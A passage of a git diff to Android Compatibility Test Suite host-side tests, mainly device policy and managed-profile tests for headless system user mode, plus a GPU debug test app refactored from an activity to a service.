      * attempts to stop the protected package under test for a given user.
      * @param userId The user Id to stop the package for
      * @param canUserStopPackage Whether the user can force stop the protected package
@@ -1207,6 +1087,8 @@
         // These test must be run on device owner user, as it's the only user that's guaranteed  to
         // be always running (otherwise, the test case would crash on headless system user mode if
         // the current user is switched out)
+        // NOTE: there's a setStopBgUsersOnSwitchProperty() method now that would avoid the crash,
+        // but it's not worth to change these tests as they will be migrated to the new infra
         executeDeviceOwnerTestMethod(".CreateAndManageUserTest", testMethod);
     }
 
@@ -1214,6 +1096,8 @@
         // These test must be run on device owner user, as it's the only user that's guaranteed  to
         // be always running (otherwise, the test case would crash on headless system user mode if
         // the current user is switched out)
+        // NOTE: there's a setStopBgUsersOnSwitchProperty() method now that would avoid the crash,
+        // but it's not worth to change these tests as they will be migrated to the new infra
         executeDeviceOwnerTestMethod(".ListForegroundAffiliatedUsersTest", testMethod);
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
index 041491a..e43f03f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
@@ -381,39 +381,6 @@
                         .build());
     }
 
-    @FlakyTest
-    @Test
-    public void testDisallowSharingIntoPersonalFromProfile() throws Exception {
-        // Set up activities: PrimaryUserActivity will only be enabled in the personal user
-        // This activity is used to find out the ground truth about the system's cross profile
-        // intent forwarding activity.
-        disableActivityForUser("PrimaryUserActivity", mProfileUserId);
-
-        // Tests from the profile side
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
-                ".DisallowSharingIntoProfileTest", "testSharingFromProfile", mProfileUserId);
-    }
-
-    @Test
-    public void testDisallowSharingIntoProfileFromPersonal() throws Exception {
-        // Set up activities: ManagedProfileActivity will only be enabled in the managed profile
-        // This activity is used to find out the ground truth about the system's cross profile
-        // intent forwarding activity.
-        disableActivityForUser("ManagedProfileActivity", mParentUserId);
-
-        // Tests from the personal side, which is mostly driven from host side.
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
-                "testSetUp", mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
-                "testDisableSharingIntoProfile", mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
-                "testSharingFromPersonalFails", mParentUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
-                "testEnableSharingIntoProfile", mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
-                "testSharingFromPersonalSucceeds", mParentUserId);
-    }
-
     @Test
     public void testSetCrossProfilePackages_resetsAppOps() throws Exception {
         installAllTestApps();
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
index 77e1838..0d11e0a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
@@ -127,7 +127,7 @@
     @LockSettingsTest
     @Test
     public void testUnlockWorkProfile_deviceWidePassword() throws Exception {
-        assumeHasSecureLockScreenFeature();
+        assumeHasFileBasedEncryptionAndSecureLockScreenFeatures();
 
         try {
             // Add a device password after the work profile has been created.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
deleted file mode 100644
index 67cf227..0000000
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.devicepolicy;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import org.junit.Test;
-
-public class ManagedProfileRingtoneTest extends BaseManagedProfileTest {
-    @Test
-    public void testRingtoneSync() throws Exception {
-        givePackageWriteSettingsPermission(mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
-                "testRingtoneSync", mProfileUserId);
-    }
-
-    // Test if setting RINGTONE disables sync
-    @Test
-    public void testRingtoneSyncAutoDisableRingtone() throws Exception {
-        givePackageWriteSettingsPermission(mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
-                "testRingtoneDisableSync", mProfileUserId);
-    }
-
-    // Test if setting NOTIFICATION disables sync
-    @Test
-    public void testRingtoneSyncAutoDisableNotification() throws Exception {
-        givePackageWriteSettingsPermission(mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
-                "testNotificationDisableSync", mProfileUserId);
-    }
-
-    // Test if setting ALARM disables sync
-    @Test
-    public void testRingtoneSyncAutoDisableAlarm() throws Exception {
-        givePackageWriteSettingsPermission(mProfileUserId);
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
-                "testAlarmDisableSync", mProfileUserId);
-    }
-
-    private void givePackageWriteSettingsPermission(int userId) throws DeviceNotAvailableException {
-        // Allow app to write to settings (for RingtoneManager.setActualDefaultUri to work)
-        String command = "appops set --user " + userId + " " + MANAGED_PROFILE_PKG
-                + " android:write_settings allow";
-        CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
-    }
-}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index aa92b77..6de2673 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -179,24 +179,6 @@
     }
 
     @Test
-    public void testCameraPolicy() throws Exception {
-        assumeHasCameraFeature();
-
-        try {
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
-                    "testDisableCameraInManagedProfile",
-                    mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
-                    "testEnableCameraInManagedProfile",
-                    mProfileUserId);
-        } finally {
-            final String adminHelperClass = ".PrimaryUserAdminHelper";
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
-                    adminHelperClass, "testClearDeviceAdmin", mParentUserId);
-        }
-    }
-
-    @Test
     public void testOrganizationInfo() throws Exception {
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
                 "testDefaultOrganizationColor", mProfileUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index e171216..c3345b8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -25,6 +25,7 @@
 import android.stats.devicepolicy.EventId;
 
 import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.IgnoreOnHeadlessSystemUserMode;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.TemporarilyIgnoreOnHeadlessSystemUserMode;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -34,6 +35,7 @@
 import org.junit.Ignore;
 import org.junit.Test;
 
+import java.io.FileNotFoundException;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashMap;
@@ -87,6 +89,16 @@
         super.tearDown();
     }
 
+    @Override
+    protected void installAppPermissionAppAsUser()
+            throws FileNotFoundException, DeviceNotAvailableException {
+        super.installAppPermissionAppAsUser();
+
+        if (isHeadlessSystemUserMode()) {
+            installAppPermissionAppAsUser(mDeviceOwnerUserId);
+        }
+    }
+
     @Test
     public void testLockTask_unaffiliatedUser() throws Exception {
         assumeCanCreateAdditionalUsers(1);
@@ -106,6 +118,24 @@
                 userId);
     }
 
+    @Override
+    @Test
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    public void testDelegation() throws Exception {
+        super.testDelegation();
+    }
+
+    @Override
+    @Test
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    public void testDelegationCertSelection() throws Exception {
+        super.testDelegationCertSelection();
+    }
+
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
     @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
         setUpDelegatedCertInstallerAndRunTests(() ->
@@ -114,11 +144,11 @@
                         "testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
     }
 
-    @FlakyTest
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
     @Override
-    @Test
-    public void testCaCertManagement() throws Exception {
-        super.testCaCertManagement();
+    public void testDelegatedCertInstaller() throws Exception {
+        super.testDelegatedCertInstaller();
     }
 
     @FlakyTest(bugId = 141161038)
@@ -128,13 +158,6 @@
         super.testCannotRemoveUserIfRestrictionSet();
     }
 
-    @FlakyTest
-    @Override
-    @Test
-    public void testInstallCaCertLogged() throws Exception {
-        super.testInstallCaCertLogged();
-    }
-
     @FlakyTest(bugId = 137088260)
     @Test
     public void testWifi() throws Exception {
@@ -153,14 +176,6 @@
         executeDeviceTestClass(".AdminConfiguredNetworksTest");
     }
 
-    @Override
-    @Test
-    @IgnoreOnHeadlessSystemUserMode(
-            reason = "Per-user application restriction is not applicable for headless user")
-    public void testApplicationRestrictions() throws Exception {
-        super.testApplicationRestrictions();
-    }
-
     @Test
     public void testSetTime() throws Exception {
         assertMetricsLogged(getDevice(), () -> {
@@ -427,14 +442,6 @@
         }
     }
 
-    @Test
-    public void testLocationPermissionGrantNotifies() throws Exception {
-        installAppPermissionAppAsUser();
-        configureNotificationListener();
-        executeDeviceTestMethod(".PermissionsTest",
-                "testPermissionGrantStateGranted_userNotifiedOfLocationPermission");
-    }
-
     @Override
     @Test
     public void testAdminControlOverSensorPermissionGrantsDefault() throws Exception {
@@ -446,22 +453,10 @@
 
     @Override
     @Test
-    public void testGrantOfSensorsRelatedPermissions() throws Exception {
-        // Skip for now, re-enable when the code path sets DO as able to grant permissions.
-    }
-
-    @Override
-    @Test
     public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
         // Skip for now, re-enable when the code path sets DO as able to grant permissions.
     }
 
-    @Override
-    @Test
-    public void testStateOfSensorsRelatedPermissionsCannotBeRead() throws Exception {
-        // Skip because in DO mode the admin can read permission state.
-    }
-
     //TODO(b/180413140) Investigate why the test fails on DO mode.
     @Override
     @Test
@@ -499,13 +494,6 @@
     @Override
     @Test
     @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have credentials")
-    public void testResetPasswordWithToken() throws Exception {
-        super.testResetPasswordWithToken();
-    }
-
-    @Override
-    @Test
-    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have credentials")
     public void testResetPasswordDeprecated() throws Exception {
         super.testResetPasswordDeprecated();
     }
@@ -532,6 +520,49 @@
     }
 
     @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI / credentials")
+    public void testSetKeyguardDisabledFeatures() throws Exception {
+        super.testSetKeyguardDisabledFeatures();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionAppUpdate() throws Exception {
+        super.testPermissionAppUpdate();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionMixedPolicies() throws Exception {
+        super.testPermissionMixedPolicies();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionPolicy() throws Exception {
+        super.testPermissionPolicy();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+        super.testAutoGrantMultiplePermissionsInGroup();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
+            throws Exception {
+        super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
+    }
+
+    @Override
     public void testApplicationHidden() throws Exception {
         if (isHeadlessSystemUserMode()) {
             // Must run on user 0 because the test has a broadcast receiver that listen to packages
@@ -553,12 +584,27 @@
     protected void runDeviceTestsAsUser(String pkgName, String testClassName, String testName,
             int userId, Map<String, String> params) throws DeviceNotAvailableException {
         Map<String, String> newParams = new HashMap(params);
-        newParams.putAll(getParamsForDeviceOwnerTest());
+        Map<String, String> doParams = getParamsForDeviceOwnerTest();
+        CLog.d("runDeviceTestsAsUser(): adding device owner params (%s)", doParams);
+        newParams.putAll(doParams);
         super.runDeviceTestsAsUser(
                 pkgName, testClassName, testName, userId, newParams);
     }
 
     @Override
+    protected String getAdditionalExtrasForSetPolicyActivity() {
+        return " --es extra-admin-type DeviceOwner";
+    }
+
+    @Override
+    protected int getUserIdForAlwaysOnVpnTests() {
+        // Running on current user on headless system user would require too many hacky changes on
+        // DpmWrapper / VpnTestHelper such as providing a ConnectivityManager and properly waiting
+        // for broadcasts
+        return mDeviceOwnerUserId;
+    }
+
+    @Override
     protected void executeDeviceTestMethod(String className, String testName,
             Map<String, String> params) throws Exception {
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId, params);
@@ -570,11 +616,6 @@
                 /* params= */ new HashMap<>());
     }
 
-    private void configureNotificationListener() throws DeviceNotAvailableException {
-        getDevice().executeShellCommand("cmd notification allow_listener "
-                + "com.android.cts.deviceandprofileowner/.NotificationListener");
-    }
-
     private void generateTestSecurityLogs() throws Exception {
         // Trigger security events of type TAG_ADB_SHELL_CMD.
         for (int i = 0; i < SECURITY_EVENTS_BATCH_SIZE; i++) {
@@ -593,12 +634,6 @@
         return userId;
     }
 
-    private void switchToUser(int userId) throws Exception {
-        switchUser(userId);
-        waitForBroadcastIdle();
-        wakeupAndDismissKeyguard();
-    }
-
     private void setUserAsAffiliatedUserToPrimary(int userId) throws Exception {
         // Setting the same affiliation ids on both users
         runDeviceTestsAsUser(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
index d22ca5f..fe71a6b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
@@ -31,11 +31,11 @@
 
         mUserId = mPrimaryUserId;
 
-        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        installDeviceOwnerApp(DEVICE_ADMIN_APK);
         if (!setDeviceOwner(
-                DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mDeviceOwnerUserId,
                 /*expectFailure*/ false)) {
-            removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mDeviceOwnerUserId);
             getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
             fail("Failed to set device owner");
         }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 99e2f2e..a936df2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -77,22 +77,6 @@
 
     // Most tests for this class are defined in DeviceAndProfileOwnerTest
 
-    /**
-     * Verify that screenshots are still possible for activities in the primary user when the policy
-     * is set on the profile owner.
-     */
-    @LargeTest
-    @Test
-    public void testScreenCaptureDisabled_allowedPrimaryUser() throws Exception {
-        // disable screen capture in profile
-        setScreenCaptureDisabled(mUserId, true);
-
-        // start the ScreenCaptureDisabledActivity in the parent
-        installAppAsUser(DEVICE_ADMIN_APK, mParentUserId);
-        startSimpleActivityAsUser(mParentUserId);
-        executeDeviceTestMethod(".ScreenCaptureDisabledTest", "testScreenCapturePossible");
-    }
-
     @FlakyTest
     @Test
     public void testScreenCaptureDisabled_assist_allowedPrimaryUser() throws Exception {
@@ -203,18 +187,6 @@
     }
 
     @Override
-    @LockSettingsTest
-    @Test
-    public void testResetPasswordWithToken() throws Exception {
-        assumeHasSecureLockScreenFeature();
-
-        // Execute the test method that's guaranteed to succeed. See also test in base class
-        // which are tolerant to failure and executed by MixedDeviceOwnerTest and
-        // MixedProfileOwnerTest
-        executeResetPasswordWithTokenTests(/* allowFailures */ false);
-    }
-
-    @Override
     @Test
     public void testSetSystemSetting() {
         // Managed profile owner cannot set currently allowlisted system settings.
@@ -289,13 +261,6 @@
     @FlakyTest
     @Override
     @Test
-    public void testCaCertManagement() throws Exception {
-        super.testCaCertManagement();
-    }
-
-    @FlakyTest
-    @Override
-    @Test
     public void testDelegatedCertInstaller() throws Exception {
         super.testDelegatedCertInstaller();
     }
@@ -310,13 +275,6 @@
     @Override
     @PermissionsTest
     @Test
-    public void testPermissionGrant() throws Exception {
-        super.testPermissionGrant();
-    }
-
-    @Override
-    @PermissionsTest
-    @Test
     public void testPermissionMixedPolicies() throws Exception {
         super.testPermissionMixedPolicies();
     }
@@ -364,6 +322,18 @@
         super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
     }
 
+    @Override
+    @Test
+    public void testLockTaskAfterReboot() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    @Test
+    public void testLockTaskAfterReboot_tryOpeningSettings() {
+        // Managed profiles are not allowed to use lock task
+    }
+
     @Test
     public void testWifiMacAddress() throws Exception {
         assumeHasWifiFeature();
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index 0a13ccb..40a267a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -65,20 +65,6 @@
     }
 
     @Override
-    @FlakyTest
-    @Test
-    public void testCaCertManagement() throws Exception {
-        super.testCaCertManagement();
-    }
-
-    @Override
-    @FlakyTest
-    @Test
-    public void testInstallCaCertLogged() throws Exception {
-        super.testInstallCaCertLogged();
-    }
-
-    @Override
     @LargeTest
     @Test
     public void testPackageInstallUserRestrictions() throws Exception {
@@ -86,6 +72,22 @@
     }
 
     @Override
+    @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
+    @Test
+    public void testLockTaskAfterReboot() throws Exception {
+        super.testLockTaskAfterReboot();
+    }
+
+    @Override
+    @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
+    @Test
+    public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
+        super.testLockTaskAfterReboot_tryOpeningSettings();
+    }
+
+    @Override
     @Test
     public void testSetAutoTimeZoneEnabled() {
         // Profile owner cannot set auto time zone unless it is called by the profile
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
index 99f1665..f5be6f0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
@@ -22,6 +22,7 @@
 
 import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresProfileOwnerSupport;
+import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.Test;
 
@@ -42,7 +43,7 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        mUserId = getPrimaryUser();
+        mUserId = isHeadlessSystemUserMode() ? getCurrentUser() : getPrimaryUser();
 
 
         installAppAsUser(PROFILE_OWNER_APK, mUserId);
@@ -109,11 +110,14 @@
 
     private void executeProfileOwnerTest(String testClassName) throws Exception {
         String testClass = PROFILE_OWNER_PKG + "." + testClassName;
-        runDeviceTestsAsUser(PROFILE_OWNER_PKG, testClass, mPrimaryUserId);
+        CLog.d("executeProfileOwnerTest(): running %s on user %d", testClassName, mUserId);
+        runDeviceTestsAsUser(PROFILE_OWNER_PKG, testClass, mUserId);
     }
 
     protected void executeProfileOwnerTestMethod(String className, String testName)
             throws Exception {
+        CLog.d("executeProfileOwnerTestMethod(): running %s.%s on user %d", className, testName,
+                mUserId);
         runDeviceTestsAsUser(PROFILE_OWNER_PKG, className, testName, mUserId);
     }
 
diff --git a/hostsidetests/dexmetadata/host/AndroidTest.xml b/hostsidetests/dexmetadata/host/AndroidTest.xml
index 9fe390f..842dc33 100644
--- a/hostsidetests/dexmetadata/host/AndroidTest.xml
+++ b/hostsidetests/dexmetadata/host/AndroidTest.xml
@@ -20,6 +20,7 @@
          So there's no point in enabling instant_apps until we update our installation logic.
       -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/hostsidetests/gputools/AndroidTest.xml b/hostsidetests/gputools/AndroidTest.xml
index 67defc0..d4f9825 100644
--- a/hostsidetests/gputools/AndroidTest.xml
+++ b/hostsidetests/gputools/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsGpuToolsRootlessGpuDebugApp-DEBUG.apk" />
diff --git a/hostsidetests/gputools/apps/AndroidManifest.xml b/hostsidetests/gputools/apps/AndroidManifest.xml
index 89ecaf8..3c8de1f 100755
--- a/hostsidetests/gputools/apps/AndroidManifest.xml
+++ b/hostsidetests/gputools/apps/AndroidManifest.xml
@@ -19,13 +19,13 @@
      package="android.rootlessgpudebug.app">
 
     <application android:extractNativeLibs="true">
-        <activity android:name=".RootlessGpuDebugDeviceActivity"
+        <service android:name=".RootlessGpuDebugService"
+             android:process=":target_api_service"
              android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
+                <action android:name="android.service.action.TARGET_API_SERVICE"/>
             </intent-filter>
-        </activity>
+        </service>
     </application>
 
 </manifest>
diff --git a/hostsidetests/gputools/apps/inject/AndroidManifest.xml b/hostsidetests/gputools/apps/inject/AndroidManifest.xml
index 63bd9c1..743c2be 100644
--- a/hostsidetests/gputools/apps/inject/AndroidManifest.xml
+++ b/hostsidetests/gputools/apps/inject/AndroidManifest.xml
@@ -21,13 +21,12 @@
     <application android:extractNativeLibs="true">
         <meta-data android:name="com.android.graphics.injectLayers.enable"
              android:value="true"/>
-        <activity android:name=".RootlessGpuDebugDeviceActivity"
-             android:exported="true">
+        <service android:name=".RootlessGpuDebugService"
+                android:process=":target_api_service"
+                android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
+                <action android:name="android.service.action.TARGET_API_SERVICE"/>
             </intent-filter>
-        </activity>
+        </service>
     </application>
-
 </manifest>
diff --git a/hostsidetests/gputools/apps/jni/android_gputools_cts_RootlessGpuDebug.cpp b/hostsidetests/gputools/apps/jni/android_gputools_cts_RootlessGpuDebug.cpp
index f62a583..44317c5 100644
--- a/hostsidetests/gputools/apps/jni/android_gputools_cts_RootlessGpuDebug.cpp
+++ b/hostsidetests/gputools/apps/jni/android_gputools_cts_RootlessGpuDebug.cpp
@@ -17,9 +17,6 @@
 
 #define LOG_TAG "RootlessGpuDebug"
 
-#include <string>
-#include <vector>
-
 #include <EGL/egl.h>
 #include <GLES3/gl3.h>
 #include <android/log.h>
@@ -27,6 +24,10 @@
 #include <jni.h>
 #include <vulkan/vulkan.h>
 
+#include <sstream>
+#include <string>
+#include <vector>
+
 #define ALOGI(msg, ...) \
     __android_log_print(ANDROID_LOG_INFO, LOG_TAG, (msg), __VA_ARGS__)
 #define ALOGE(msg, ...) \
@@ -39,7 +40,7 @@
 typedef __eglMustCastToProperFunctionPointerType EGLFuncPointer;
 
 std::string initVulkan() {
-    std::string result = "";
+    std::stringstream result;
 
     {
       uint32_t count = 0;
@@ -78,13 +79,13 @@
     };
     VkInstance instance;
     VkResult vkResult = vkCreateInstance(&instance_info, nullptr, &instance);
-    if (vkResult == VK_ERROR_INITIALIZATION_FAILED) {
-        result = "vkCreateInstance failed, meaning layers could not be chained.";
+    if (vkResult == VK_SUCCESS) {
+        result << "vkCreateInstance succeeded.";
     } else {
-        result = "vkCreateInstance succeeded.";
+        result << "vkCreateInstance failed with VkResult: " << vkResult;
     }
 
-    return result;
+    return result.str();
 }
 
 std::string initGLES() {
@@ -163,8 +164,7 @@
 }  // anonymous namespace
 
 int register_android_gputools_cts_RootlessGpuDebug(JNIEnv* env) {
-    jclass clazz = env->FindClass(
-        "android/rootlessgpudebug/app/RootlessGpuDebugDeviceActivity");
+    jclass clazz = env->FindClass("android/rootlessgpudebug/app/RootlessGpuDebugService");
     return env->RegisterNatives(clazz, gMethods,
                                 sizeof(gMethods) / sizeof(JNINativeMethod));
 }
diff --git a/hostsidetests/gputools/apps/src/android/rootlessgpudebug/app/RootlessGpuDebugDeviceActivity.java b/hostsidetests/gputools/apps/src/android/rootlessgpudebug/app/RootlessGpuDebugDeviceActivity.java
deleted file mode 100644
index a29a246..0000000
--- a/hostsidetests/gputools/apps/src/android/rootlessgpudebug/app/RootlessGpuDebugDeviceActivity.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.rootlessgpudebug.app;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.util.Log;
-
-import java.lang.Override;
-
-public class RootlessGpuDebugDeviceActivity extends Activity {
-
-    static {
-        System.loadLibrary("ctsgputools_jni");
-    }
-
-    private static final String TAG = RootlessGpuDebugDeviceActivity.class.getSimpleName();
-
-    @Override
-    public void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-
-        String result = nativeInitVulkan();
-        Log.i(TAG, result);
-
-        result = nativeInitGLES();
-        Log.i(TAG, result);
-
-        Log.i(TAG, "RootlessGpuDebug activity complete");
-    }
-
-    private static native String nativeInitVulkan();
-    private static native String nativeInitGLES();
-
-}
-
diff --git a/hostsidetests/gputools/apps/src/android/rootlessgpudebug/app/RootlessGpuDebugService.java b/hostsidetests/gputools/apps/src/android/rootlessgpudebug/app/RootlessGpuDebugService.java
new file mode 100644
index 0000000..47b1ad6
--- /dev/null
+++ b/hostsidetests/gputools/apps/src/android/rootlessgpudebug/app/RootlessGpuDebugService.java
@@ -0,0 +1,96 @@
+/*
